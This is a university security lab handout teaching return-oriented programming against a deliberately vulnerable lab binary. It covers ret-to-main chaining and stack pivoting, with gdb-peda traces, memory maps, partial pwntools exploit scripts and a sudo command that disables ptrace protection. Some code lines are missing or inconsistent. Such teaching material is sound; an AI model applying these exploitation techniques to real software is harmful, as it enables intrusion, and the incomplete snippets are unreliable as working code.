# Lab 09 - Return Oriented Programming (Part 2)

## Introduction

In this lab, we will resume from where we left off our last session.

In many real-life cases you will encounter, a vulnerability will consist of a small buffer overflow, which will not allow you to chain a list of gadgets of arbitrary length. However, there are techniques to circumvent this. Today, we will look at two of these techniques.

### Ret-to-vuln

Should you need to ret to multiple functions, but you only have space for two or three, then you can choose to return to main again, or to the function in which the bug is present.

### Stack pivoting

A more elegant solution is to “pivot” the stack. Suppose there are additional constraints imposed such that it is impossible to return and repeat the overflow.

Pivoting the stack basically means getting RSP to point elsewhere in memory, preferably a read-writable location which we control.

Supposing we find such a region in memory, we can simply return to a call read and simulate a call to read(0, pivot, size);. The pivot address will contain a fabricated stack containing a ropchain of (nearly) arbitrary size.

But how do we get RSP to point to a different region in memory? If you think about the leave instruction, which roughly does the following, you will begin to see an answer:

mov rsp, rbp
pop rbp

Hence, when we overwrite the stored frame pointer, we can set its value to where we'll want ESP to point to.

All content necessary for the CNS laboratory tasks can be found in the CNS public repository.

Inspect the source file ret_to_main.c. See if you can spot the vulnerability.

The goal of the task is to get the contents of the flag file through the binary. In order to do this, we need to chain three functions together.

#### Tutorial: Finding the return address offset

# gdb ./ret_to_main
gdb-peda$pattc 0x40 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH'
gdb-peda$r Starting program: /cns/lab-11/sol/ret_to_main Welcome to our Retired Old Programmers message board! Please leave a message: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x40 ('@')
RBX: 0x0
RDX: 0x40 ('@')
RSI: 0x7fffffffe490 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH\310\345\377\377\377\177") RDI: 0x0 RBP: 0x4147414131414162 ('bAA1AAGA') RSP: 0x7fffffffe4c8 ("AcAA2AAH\310\345\377\377\377\177") RIP: 0x4012b4 (<play+55>: ret) R8 : 0x19 R9 : 0x7ffff7f315e0 (<__memcpy_ssse3+6720>: mov r10,QWORD PTR [rsi-0x18]) R10: 0x400443 --> 0x6474730064616572 ('read') R11: 0x246 R12: 0x401090 (<_start>: xor ebp,ebp) R13: 0x7fffffffe5c0 --> 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x10203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x4012a9 <play+44>: mov edi,0x0 0x4012ae <play+49>: call 0x401050 <read@plt> 0x4012b3 <play+54>: leave => 0x4012b4 <play+55>: ret 0x4012b5 <main>: push rbp 0x4012b6 <main+1>: mov rbp,rsp 0x4012b9 <main+4>: sub rsp,0x10 0x4012bd <main+8>: mov DWORD PTR [rbp-0x4],edi [------------------------------------stack-------------------------------------] 0000| 0x7fffffffe4c8 ("AcAA2AAH\310\345\377\377\377\177") 0008| 0x7fffffffe4d0 --> 0x7fffffffe5c8 --> 0x7fffffffe7fa ("/cns/lab-11/sol/task1") 0016| 0x7fffffffe4d8 --> 0x100000000 0024| 0x7fffffffe4e0 --> 0x4012e0 (<__libc_csu_init>: push r15) 0032| 0x7fffffffe4e8 --> 0x7ffff7e1cbbb (<__libc_start_main+235>: mov edi,eax) 0040| 0x7fffffffe4f0 --> 0x7ffff7fac4d8 --> 0x7ffff7e1c4a0 (<init_cacheinfo>: push r15) 0048| 0x7fffffffe4f8 --> 0x7fffffffe5c8 --> 0x7fffffffe7fa ("/cns/lab-11/sol/task1") 0056| 0x7fffffffe500 --> 0x1f7f795a8 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x00000000004012b4 in play () gdb-peda$
gdb-peda$patto bAA1AAGA bAA1AAGA found at offset: 48 Our $rbp is at offset 48 ⇒ the return address will be at offset 56.

#### Tutorial: Opening the flag file and returning to main

Let's think about how a small ropchain needs to look like if we want to: 1. Return to the function which opens the flag file. 2. Pass it the correct argument. 3. Return to main afterwards.

We'll need to save a few useful addresses:

# nm ret_to_main | egrep "main|stop|right|there|play"

00000000004012b5 T main
000000000040127d T play
00000000004011da T right
0000000000401172 T stop
000000000040124b T there

Let's start writing our exploit script.

#!/usr/bin/env python
from pwn import *

io = process('./ret_to_main')

# Useful values
ret_offset = 56
open_flag = 0x401172

io.recvline()
io.recvline()

io.interactive()

Let's test this code to see if it works:

# ./test.py
[+] Starting local process './ret_to_main': Done
[*] Switching to interactive mode
-> secret vault opened
Welcome to our Retired Old Programmers message board!
$[*] Stopped program './ret_to_main' #### Reading and printing the flag Build two more similar payloads to send, one to return to the function which reads the contents of the flag and another which prints the flag. Remember to return to main in order to be able to chain the two together. ### 2. Stack pivoting For this task, we will be using the same binary. This time, we will pivot the stack before supplying our ROP chain. #### Tutorial: Finding a place to pivot We can use gdb-peda to see the memory mappings of a binary at runtime. gdb-peda$ start
gdb-peda$vmmap Start End Perm Name 0x00400000 0x00403000 r-xp task1 0x00403000 0x00404000 r-xp task1 0x00404000 0x00405000 rw-p task1 0x00007ffff79e4000 0x00007ffff7bcb000 r-xp /lib/x86_64-linux-gnu/libc-2.27.so 0x00007ffff7bcb000 0x00007ffff7dcb000 ---p /lib/x86_64-linux-gnu/libc-2.27.so 0x00007ffff7dcb000 0x00007ffff7dcf000 r-xp /lib/x86_64-linux-gnu/libc-2.27.so 0x00007ffff7dcf000 0x00007ffff7dd1000 rwxp /lib/x86_64-linux-gnu/libc-2.27.so 0x00007ffff7dd1000 0x00007ffff7dd5000 rwxp mapped 0x00007ffff7dd5000 0x00007ffff7dfc000 r-xp /lib/x86_64-linux-gnu/ld-2.27.so 0x00007ffff7fd3000 0x00007ffff7fd5000 rwxp mapped 0x00007ffff7ff7000 0x00007ffff7ffa000 r--p [vvar] 0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp [vdso] 0x00007ffff7ffc000 0x00007ffff7ffd000 r-xp /lib/x86_64-linux-gnu/ld-2.27.so 0x00007ffff7ffd000 0x00007ffff7ffe000 rwxp /lib/x86_64-linux-gnu/ld-2.27.so 0x00007ffff7ffe000 0x00007ffff7fff000 rwxp mapped 0x00007ffffffde000 0x00007ffffffff000 rwxp [stack] 0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall] The region beginning at 0x00404000 looks suitable, but just to be safe, let's not choose the starting address. gdb-peda$ x/100g 0x00404000
0x404000:	0x0000000000403e20	0x00007ffff7ffe170
0x404010:	0x00007ffff7dec680	0x0000000000401036
0x404020:	0x0000000000401046	0x0000000000401056
0x404030:	0x0000000000401066	0x0000000000401076
0x404040:	0x0000000000401086	0x0000000000000000
0x404050:	0x0000000000000000	0x0000000000000000
0x404060 <stdout@@GLIBC_2.2.5>:	0x00007ffff7dd0760	0x0000000000000000

gdb-peda\$ x/100g 0x00404400
0x404400:	0x0000000000000000	0x0000000000000000
0x404410:	0x0000000000000000	0x0000000000000000
0x404420:	0x0000000000000000	0x0000000000000000
0x404430:	0x0000000000000000	0x0000000000000000
0x404440:	0x0000000000000000	0x0000000000000000
0x404450:	0x0000000000000000	0x0000000000000000
0x404460:	0x0000000000000000	0x0000000000000000


Apart from the reason that values are not zero at the starting address, there's also the risk of the stack pointer going off bounds into values lower than the starting address, where there is no write permission.

We need to find a sequence of instructions akin to:

call read
leave
ret

If we look around in the disassembled functions, we notice that play has just what we need at the end:

   0x00000000004012ae <+49>:	call   0x401050 <read@plt>
0x00000000004012b3 <+54>:	leave
0x00000000004012b4 <+55>:	ret 

We will use this sequence to pivot the stack.

Our payload must do a call to read(0, pivot, size);, so the registers should look as follows when reaching ret:

[RSP-8]  <pivot-8>       # Overwrite RBP
[RDI]  0x0             # stdin
[RSI]  <pivot>         # "buffer"
[RDX] 0x200           # size

You might not find a pop rdx gadget in the binary, but luckily the rdx register is not changed after the read call in the main program so it should have a large enough value already set.

With all the pieces in place, we should have a working pivoting payload:

#!/usr/bin/env python
from pwn import *

# Useful values
ret_offset = 56
pivot = 0x404000

payload1 += TODO  #pop rdi; ret
payload1 += TODO  #pop rsi; ret
payload1 += TODO  #pop rdx; ret

log.info(io.recvline())
log.info(io.recvline())
gdb.attach(io)

io.interactive()

In order to see pivoting in action, do the following:

# ./test.py
[+] Starting local process './task1': Done
[*] Welcome to our Retired Old Programmers message board!
[*] running in new terminal: gdb -q  "/task1" 4770
[+] Waiting for debugger: Done
Send payload? 

This will spawn a new gdb-peda window. Set a breakpoint at the return address of play (0x0804862c) then continue. In the other window (the one waiting for you to answer Send payload?), hit Enter. You will notice gdb hits the breakpoint and now you can single step (via ni).

There is an issue in the stations in the lab when running GDB/PEDA from pwntools. The issue is signaled at this link. You will have to issue the command below to solve the issue

echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope

Once you reach call read, gdb will block. In the pwntools interactive window, give an input such as AAAAAAAA to complete the read call and unblock gdb. Continue stepping until you reach the leave instruction. Notice how the value of rbp+8 gets written over rsp. The following ret instruction will take you to your pivot address, at which you will find your AAAAAAAA.